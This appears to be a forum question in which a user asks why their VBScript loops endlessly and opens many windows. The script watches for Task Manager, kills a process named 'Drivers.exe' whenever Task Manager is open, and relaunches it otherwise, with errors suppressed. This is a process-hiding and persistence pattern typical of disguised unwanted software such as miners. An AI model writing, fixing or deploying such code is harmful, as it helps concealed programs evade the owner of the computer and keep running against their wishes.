A
A
aminoflex2018-01-16 02:04:25
VBScript
aminoflex, 2018-01-16 02:04:25

How to stop an infinite loop?

When you run the script, many program windows open. Write errors

Set WshShell = CreateObject("WScript.Shell") 
Set WshShell = Nothing

On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")

' General Launching and Checking
do
WScript.Sleep 500
' Task Manager
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" Then
taskmgrisrun = True
Exit For
End If
Next
' End Task Manager
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "Drivers.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
    If Running Then
        thisprocess.Terminate
    End if
End if
If Not Running Then
    WScript.Sleep 500
    WshShell.Run "Drivers.exe"
End if
Loop

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question